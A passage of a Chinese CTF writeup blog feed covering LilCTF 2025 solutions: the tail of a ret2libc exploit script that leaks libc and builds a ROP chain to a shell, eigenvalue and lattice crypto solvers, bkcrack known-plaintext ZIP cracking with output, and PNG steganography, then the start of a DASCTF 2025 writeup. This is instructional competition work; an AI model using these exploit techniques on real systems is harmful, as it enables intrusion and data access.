class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] 泄露的puts地址: <span class="subst">&#123;<span class="built_in">hex</span>(leaked_puts)&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    libc_base = leaked_puts - puts_offset</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] 计算的libc基地址: <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    system_addr = libc_base + system_offset</span><br><span class="line">    binsh_addr = libc_base + binsh_offset</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] system地址: <span class="subst">&#123;<span class="built_in">hex</span>(system_addr)&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] /bin/sh地址: <span class="subst">&#123;<span class="built_in">hex</span>(binsh_addr)&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    payload2 = <span class="string">b&#x27;A&#x27;</span> * offset</span><br><span class="line">    payload2 += p64(ret_gadget)</span><br><span class="line">    payload2 += p64(pop_rdi_ret)</span><br><span class="line">    payload2 += p64(binsh_addr)</span><br><span class="line">    payload2 += p64(system_addr)</span><br><span class="line">    </span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;What&#x27;s your name?&quot;</span>, payload2)</span><br><span class="line">    p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    exploit()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="ez-math"><a href="#ez-math" class="headerlink" title="ez_math"></a>ez_math</h3><p>令<code>A = [[v1_x, v1_y], [v2_x, v2_y]]</code> <code>B = [[v1_x * lambda1, v1_y * lambda1], [v2_x * lambda2, v2_y * lambda2]]</code></p><p>则有 <code>C = A⁻¹ * B</code></p><p>定义对角矩阵 <code>D = [[lambda1, 0], [0, lambda2]]</code></p><p>则有<code>D * A = [[lambda1, 0], [0, lambda2]] * [[v1_x, v1_y], [v2_x, v2_y]]</code> <code>= [[lambda1*v1_x, lambda1*v1_y], [lambda2*v2_x, lambda2*v2_y]]</code> -&gt; <code>B = D * A</code></p><p>推出 <code>C = A⁻¹ * D * A</code></p><p>由相似矩阵的性质得，C 和 D 的特征值 lambda 相同</p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&gt; 计算 C 的特征值 &#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&gt; 转换回去 bytes &#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&gt; 进行两种可能的拼接 &#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&gt; 得到 flag</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sage.<span class="built_in">all</span> <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"></span><br><span class="line"><span class="comment"># 已知数据</span></span><br><span class="line">p = <span class="number">9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161</span></span><br><span class="line">C_list = [[<span class="number">7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645</span>, <span class="number">7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801</span>], [<span class="number">7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808</span>, <span class="number">2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872</span>]]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在有限域 GF(p) 上定义矩阵 C</span></span><br><span class="line">Fp = GF(p)</span><br><span class="line">C_matrix = matrix(Fp, C_list)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算特征值</span></span><br><span class="line">eigenvalues = C_matrix.eigenvalues()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将特征值从有限域元素转换为整数</span></span><br><span class="line">lambda1_int = <span class="built_in">int</span>(eigenvalues[<span class="number">0</span>])</span><br><span class="line">lambda2_int = <span class="built_in">int</span>(eigenvalues[<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将整数转换回字节</span></span><br><span class="line">part1 = long_to_bytes(lambda1_int)</span><br><span class="line">part2 = long_to_bytes(lambda2_int)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尝试两种拼接顺序</span></span><br><span class="line">flag_content1 = part1 + part2</span><br><span class="line">flag_content2 = part2 + part1</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;特征值1: <span class="subst">&#123;lambda1_int&#125;</span> -&gt; 字节: <span class="subst">&#123;part1&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;特征值2: <span class="subst">&#123;lambda2_int&#125;</span> -&gt; 字节: <span class="subst">&#123;part2&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;可能的flag内容 (1): <span class="subst">&#123;flag_content1.decode()&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;可能的flag内容 (2): <span class="subst">&#123;flag_content2.decode()&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(.venv) [root@LUMINE-LAPTOP ez_math]<span class="comment"># sage solve.py</span></span><br><span class="line">特征值1: 461081882199191304136043558055592717274072444511548267131743 -&gt; 字节: b<span class="string">&#x27;It_w4s_the_be5t_of_times_&#x27;</span></span><br><span class="line">特征值2: 310431440615324582056084165589022472378402725080813836002613 -&gt; 字节: b<span class="string">&#x27;1t_wa5_the_w0rst_of_t1me5&#x27;</span></span><br><span class="line">可能的flag内容 (1): It_w4s_the_be5t_of_times_1t_wa5_the_w0rst_of_t1me5</span><br><span class="line">可能的flag内容 (2): 1t_wa5_the_w0rst_of_t1me5It_w4s_the_be5t_of_times_</span><br></pre></td></tr></table></figure><p>看起来第一个拼接方式是对的，拿去试试，正确</p><h3 id="mid-math"><a href="#mid-math" class="headerlink" title="mid_math"></a>mid_math</h3><p>由 <code>如果 lambda 是矩阵 M 的一个特征值，那么 lambda**k 就是矩阵 M**k 的一个特征值</code> 这个性质，则有</p><p>设 <code>lambda_C</code> 是矩阵 <code>C</code> 的一个特征值，<code>lambda_D</code> 是矩阵 <code>D</code> 对应的一个特征值，那么它们之间必然满足关系：<code>lambda_D = (lambda_C)**key</code></p><p>所以先求特征值，又因为 key 的可能性较少，所以再爆破一下，得到 flag</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sage.<span class="built_in">all</span> <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.Padding <span class="keyword">import</span> pad, unpad</span><br><span class="line"></span><br><span class="line"><span class="comment"># 题目给出的已知数据</span></span><br><span class="line">p = <span class="number">14668080038311483271</span></span><br><span class="line">C_list = [[<span class="number">11315841881544731102</span>, <span class="number">2283439871732792326</span>, <span class="number">6800685968958241983</span>, <span class="number">6426158106328779372</span>, <span class="number">9681186993951502212</span>], [<span class="number">4729583429936371197</span>, <span class="number">9934441408437898498</span>, <span class="number">12454838789798706101</span>, <span class="number">1137624354220162514</span>, <span class="number">8961427323294527914</span>], [<span class="number">12212265161975165517</span>, <span class="number">8264257544674837561</span>, <span class="number">10531819068765930248</span>, <span class="number">4088354401871232602</span>, <span class="number">14653951889442072670</span>], [<span class="number">6045978019175462652</span>, <span class="number">11202714988272207073</span>, <span class="number">13562937263226951112</span>, <span class="number">6648446245634067896</span>, <span class="number">13902820281072641413</span>], [<span class="number">1046075193917103481</span>, <span class="number">3617988773170202613</span>, <span class="number">3590111338369894405</span>, <span class="number">2646640112163975771</span>, <span class="number">5966864698750134707</span>]]</span><br><span class="line">D_list = [[<span class="number">1785348659555163021</span>, <span class="number">3612773974290420260</span>, <span class="number">8587341808081935796</span>, <span class="number">4393730037042586815</span>, <span class="number">10490463205723658044</span>], [<span class="number">10457678631610076741</span>, <span class="number">1645527195687648140</span>, <span class="number">13013316081830726847</span>, <span class="number">12925223531522879912</span>, <span class="number">5478687620744215372</span>], [<span class="number">9878636900393157276</span>, <span class="number">13274969755872629366</span>, <span class="number">3231582918568068174</span>, <span class="number">7045188483430589163</span>, <span class="number">5126509884591016427</span>], [<span class="number">4914941908205759200</span>, <span class="number">7480989013464904670</span>, <span class="number">5860406622199128154</span>, <span class="number">8016615177615097542</span>, <span class="number">13266674393818320551</span>], [<span class="number">3005316032591310201</span>, <span class="number">6624508725257625760</span>, <span class="number">7972954954270186094</span>, <span class="number">5331046349070112118</span>, <span class="number">6127026494304272395</span>]]</span><br><span class="line">msg = <span class="string">b&quot;\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m&#x27;\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置有限域</span></span><br><span class="line">P = GF(p)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 建立矩阵对象</span></span><br><span class="line">C = matrix(P, C_list)</span><br><span class="line">D = matrix(P, D_list)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算特征值</span></span><br><span class="line">eigenvalues_C = [e <span class="keyword">for</span> e <span class="keyword">in</span> C.eigenvalues() <span class="keyword">if</span> e != <span class="number">0</span>]</span><br><span class="line">eigenvalues_D = [e <span class="keyword">for</span> e <span class="keyword">in</span> D.eigenvalues() <span class="keyword">if</span> e != <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;C 的非零特征值: <span class="subst">&#123;eigenvalues_C&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;D 的非零特征值: <span class="subst">&#123;eigenvalues_D&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 暴力尝试所有配对来找到正确的 key</span></span><br><span class="line"><span class="comment"># 固定一个 base，遍历所有 target</span></span><br><span class="line">base = eigenvalues_C[<span class="number">0</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;\n固定 base = <span class="subst">&#123;base&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> target <span class="keyword">in</span> eigenvalues_D:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;尝试 target = <span class="subst">&#123;target&#125;</span> ...&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 计算可能的 key</span></span><br><span class="line">    key_integer = target.log(base)</span><br><span class="line">    key_int = <span class="built_in">int</span>(key_integer)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 尝试用这个 key 解密</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        key_bytes_padded = pad(long_to_bytes(key_int), <span class="number">16</span>)</span><br><span class="line">        cipher = AES.new(key_bytes_padded, AES.MODE_ECB)</span><br><span class="line">        decrypted_msg = unpad(cipher.decrypt(msg), <span class="number">64</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># unpad 没有报错，key 对了</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;=&quot;</span>*<span class="number">40</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;成功解密！&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;正确的整数 key 是: <span class="subst">&#123;key_integer&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;解密得到的 Flag 是: <span class="subst">&#123;decrypted_msg.decode()&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">40</span>)</span><br><span class="line">        exit()</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">except</span> ValueError:</span><br><span class="line">        <span class="comment"># key 是错的，padding 会不正确</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot; -&gt; 解密失败，此配对错误。&quot;</span>)</span><br><span class="line">        <span class="keyword">continue</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[helloctfos@LUMINE-LAPTOP mid_math]$ sage solve.py </span><br><span class="line">C 的非零特征值: [13548047239731931439, 10741008122066331899, 2915915082365181132, 2524362820657834710]</span><br><span class="line">D 的非零特征值: [14219969811373602463, 7805278355513795080, 7126986745593039829, 6321945571561295171]</span><br><span class="line"></span><br><span class="line">固定 base = 13548047239731931439</span><br><span class="line">尝试 target = 14219969811373602463 ... </span><br><span class="line">-&gt; 解密失败，此配对错误。</span><br><span class="line">尝试 target = 7805278355513795080 ...</span><br><span class="line"></span><br><span class="line">========================================</span><br><span class="line">成功解密！正确的整数 key 是: 5273966641785501202</span><br><span class="line">解密得到的 Flag 是: LILCTF&#123;Are_y0u_5till_4wake_que5t1on_m4ker!&#125;</span><br><span class="line">========================================</span><br></pre></td></tr></table></figure><h3 id="Linear"><a href="#Linear" class="headerlink" title="Linear"></a><strong>Linear</strong></h3><p>因 <code>x</code> 有界（[1, 114514]），考虑 LLL 格基约简。</p><p>先将 <code>A * x = b</code> 变形为齐次线性方程组：<code>D * z = 0</code>，其中 <code>D = [A | -b]</code>，<code>z = [x; 1]</code></p><p><code>D</code> 的右核为一个格，对其做格基约简，在约简后的所有基中，找到所有分量能被最后一个分量整除的基（<code>z</code> 的缩放），检查候选 <code>x</code> 是否有界，是否满足 <code>A * x = b</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> ast</span><br><span class="line"><span class="keyword">from</span> sage.<span class="built_in">all</span> <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">host = <span class="string">&#x27;challenge.xinshi.fun&#x27;</span></span><br><span class="line">port = <span class="comment">#port</span></span><br><span class="line">s = socket.socket()</span><br><span class="line">s.connect((host, port))</span><br><span class="line"></span><br><span class="line">data = s.recv(<span class="number">100000</span>).decode()</span><br><span class="line">lines = data.splitlines()</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(lines) &lt; <span class="number">2</span>:</span><br><span class="line">    data += s.recv(<span class="number">100000</span>).decode()</span><br><span class="line">    lines = data.splitlines()</span><br><span class="line">A_line = lines[<span class="number">0</span>].strip()</span><br><span class="line">b_line = lines[<span class="number">1</span>].strip()</span><br><span class="line">A = ast.literal_eval(A_line)</span><br><span class="line">b = ast.literal_eval(b_line)</span><br><span class="line"></span><br><span class="line">nrows = <span class="built_in">len</span>(A)</span><br><span class="line">ncols = <span class="built_in">len</span>(A[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line">D = matrix(ZZ, nrows, ncols + <span class="number">1</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(nrows):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(ncols):</span><br><span class="line">        D[i, j] = A[i][j]</span><br><span class="line">    D[i, ncols] = -b[i]</span><br><span class="line"></span><br><span class="line">AA = matrix(ZZ, A)</span><br><span class="line">bb = vector(ZZ, b)</span><br><span class="line"></span><br><span class="line">kernel = D.right_kernel_matrix(ring=ZZ)</span><br><span class="line"></span><br><span class="line">L = kernel.LLL()</span><br><span class="line"></span><br><span class="line">solution_found = <span class="literal">False</span></span><br><span class="line"><span class="keyword">for</span> row <span class="keyword">in</span> L:</span><br><span class="line">    k = row[-<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">if</span> k == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">all</span>(x % k == <span class="number">0</span> <span class="keyword">for</span> x <span class="keyword">in</span> row):</span><br><span class="line">        cand_x = vector(ZZ, [x // k <span class="keyword">for</span> x <span class="keyword">in</span> row[:ncols]])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">all</span>(<span class="number">1</span> &lt;= x &lt;= <span class="number">114514</span> <span class="keyword">for</span> x <span class="keyword">in</span> cand_x):</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    </span><br><span class="line">    b_cand = vector(ZZ, [<span class="built_in">sum</span>(A[i][j] * cand_x[j] <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(ncols)) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(nrows)])</span><br><span class="line">    <span class="keyword">if</span> b_cand == vector(b):</span><br><span class="line">        solution_found = <span class="literal">True</span></span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> solution_found:</span><br><span class="line">    sol_str = <span class="string">&#x27; &#x27;</span>.join(<span class="built_in">str</span>(num) <span class="keyword">for</span> num <span class="keyword">in</span> cand_x) + <span class="string">&#x27;\n&#x27;</span></span><br><span class="line">    s.send(sol_str.encode())</span><br><span class="line">    response = s.recv(<span class="number">1024</span>).decode()</span><br><span class="line">    <span class="built_in">print</span>(response)</span><br><span class="line">    s.close()</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;轧钢&quot;</span>)</span><br></pre></td></tr></table></figure><h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h3 id="v我50-R-MB"><a href="#v我50-R-MB" class="headerlink" title="**v我50(R)**MB"></a>**v我50(R)**MB</h3><p>Yakit 一发就有了</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/image-20250818003021268.png"></p><p>因为content-length长度不正确，导致图片显示不完整，剩下的部分被截断了</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/image-20250818003716850.png"></p><h3 id="提前放出附件"><a href="#提前放出附件" class="headerlink" title="提前放出附件"></a><strong>提前放出附件</strong></h3><p>压缩包题, 没给密码, 压缩包内容是个flag.tar, 显然可以明文攻击, 需要知道的是flag.txt压缩之后就是flag.tar, 所以已知的明文是flag.txt，再根据tar包的结构可以知道后面可以用0来填充, 通过构造可以用bkcrack来攻击</p><p><code>flag.txt</code> -&gt; <code>666c61672e747874</code></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.\bkcrack\bkcrack<span class="literal">-1</span>.<span class="number">7.1</span><span class="literal">-win64</span>\bkcrack.exe <span class="literal">-C</span> ahead.zip <span class="literal">-c</span> flag.tar <span class="literal">-x</span> <span class="number">0</span> <span class="number">666</span>c61672e74787400000000000000000000000000000000</span><br><span class="line">bkcrack <span class="number">1.7</span>.<span class="number">1</span> - <span class="number">2024</span><span class="literal">-12-21</span></span><br><span class="line">[<span class="number">16</span>:<span class="number">06</span>:<span class="number">51</span>] Z reduction <span class="keyword">using</span> 17 bytes of known plaintext</span><br><span class="line"><span class="number">100.0</span> % (<span class="number">17</span> / <span class="number">17</span>)</span><br><span class="line">[<span class="number">16</span>:<span class="number">06</span>:<span class="number">51</span>] Attack on <span class="number">426837</span> Z values at index <span class="number">6</span></span><br><span class="line">Keys: <span class="number">945815</span>e7 <span class="number">4</span>e7a2163 e46b8f88</span><br><span class="line"><span class="number">76.4</span> % (<span class="number">326284</span> / <span class="number">426837</span>) </span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: <span class="literal">--continue-attack</span> <span class="number">326284</span></span><br><span class="line">[<span class="number">16</span>:<span class="number">08</span>:<span class="number">37</span>] Keys</span><br><span class="line"><span class="number">945815</span>e7 <span class="number">4</span>e7a2163 e46b8f88</span><br></pre></td></tr></table></figure><p>爆出key之后直接用这个key解密</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.\bkcrack\bkcrack<span class="literal">-1</span>.<span class="number">7.1</span><span class="literal">-win64</span>\bkcrack.exe <span class="literal">-C</span> ahead.zip <span class="literal">-c</span> flag.tar <span class="literal">-k</span> <span class="number">945815</span>e7 <span class="number">4</span>e7a2163 e46b8f88 <span class="literal">-d</span> decrypted_flag.tar</span><br><span class="line">bkcrack <span class="number">1.7</span>.<span class="number">1</span> - <span class="number">2024</span><span class="literal">-12-21</span></span><br><span class="line">[<span class="number">15</span>:<span class="number">54</span>:<span class="number">13</span>] Writing deciphered <span class="keyword">data</span> decrypted_flag.tar</span><br></pre></td></tr></table></figure><p>然后直接解压的得到flag: <code>LILCTF&#123;Z1pCRyp70_1s_n0t_5ecur3&#125;</code></p><h3 id="PNG-Master"><a href="#PNG-Master" class="headerlink" title="PNG Master"></a><strong>PNG</strong> <strong>Master</strong></h3><p>PNG隐写题, 一共三段flag</p><p>第一段: PNG文件尾藏了一段base64, 解出来之后是: 让你难过的事情，有一天，你一定会笑着说出来flag1: <code>4c494c4354467b</code></p><p>第二段: LSB里面藏了一段, 提取出来解码: 在我们心里，有一块地方是无法锁住的，那块地方叫做希望flag2: <code>5930755f3472335f4d</code></p><p>第三段: binwalk分离PNG, 提取出了一个secret.bin和hint.txt，发现hint.txt有零宽字符隐写, 去网站上解一下</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/f3fe125e-f6e9-492a-a3e1-621268ebcf40.png"></p><p>按照提示 xor 一下得到第三段flag：flag3: <code>61733765725f696e5f504e477d</code></p><p>把三段结合以下然后hex转字符串 <code>4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d</code></p><p><code>LILCTF&#123;Y0u_4r3_Mas7er_in_PNG&#125;</code></p><h3 id="是谁没有阅读参赛须知？"><a href="#是谁没有阅读参赛须知？" class="headerlink" title="是谁没有阅读参赛须知？"></a><strong>是谁没有阅读参赛须知？</strong></h3><p>一眼丁真</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/image-20250818003457732.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="LilCTF" scheme="https://bili33.top/tags/LilCTF/"/>
    
  </entry>
  
  <entry>
    <title>【Volcania】DASCTF 2025 上半年线上赛 Writeup</title>
    <link href="https://bili33.top/posts/DASCTF-2025-First-Half-Writeup/"/>
    <id>https://bili33.top/posts/DASCTF-2025-First-Half-Writeup/</id>
    <published>2025-06-22T04:37:00.000Z</published>
    <updated>2026-03-31T05:59:59.344Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="Misc-BlueTrace-Ron-Luminoria"><a href="#Misc-BlueTrace-Ron-Luminoria" class="headerlink" title="[Misc] BlueTrace | @Ron @Luminoria"></a>[Misc] BlueTrace | @Ron @Luminoria</h2><p>打开文件发现是蓝牙流量，跑一下 strings 发现有一个 flag.png</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621143004691.png"></p><p>Package 4267 传了一个 jpg 文件</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-1750488726996-1.png"></p><p>Package 34714 看起来传输了一个 ZIP 包，里面有上面跑出来的 flag.png</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image1-1750488726996-2.png"></p><p>obex 是明文协议，但是 WireShark 会自动根据 OBEX 的数据包头重新组装数据包，所以会导致在 Wireshark 里面提取出问题</p><p>用 tshark 来 dump 一下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ tshark -r BlueTrace.pcapng -Y <span class="string">&quot;obex.opcode == 0x02&quot;</span> -T fields -e obex.header.value.byte_sequence &gt; hex.txt</span><br></pre></td></tr></table></figure><p>把提取的 hex 流丢到赛博厨子里面，转成二进制文件</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621143943442.png"></p><p>把这个图用 binwalk 来 walk 一下，提取后面的 zip 文件</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621144141000.png"></p><p>打开提取后的文件夹，发现有个提示「压缩包密码是蓝牙传输的目标电脑名字」</p><p>回到数据包，发现电脑名字有乱码，可能存在非 ASCII 字符，右键复制为 b64，拿去解码</p><p><img 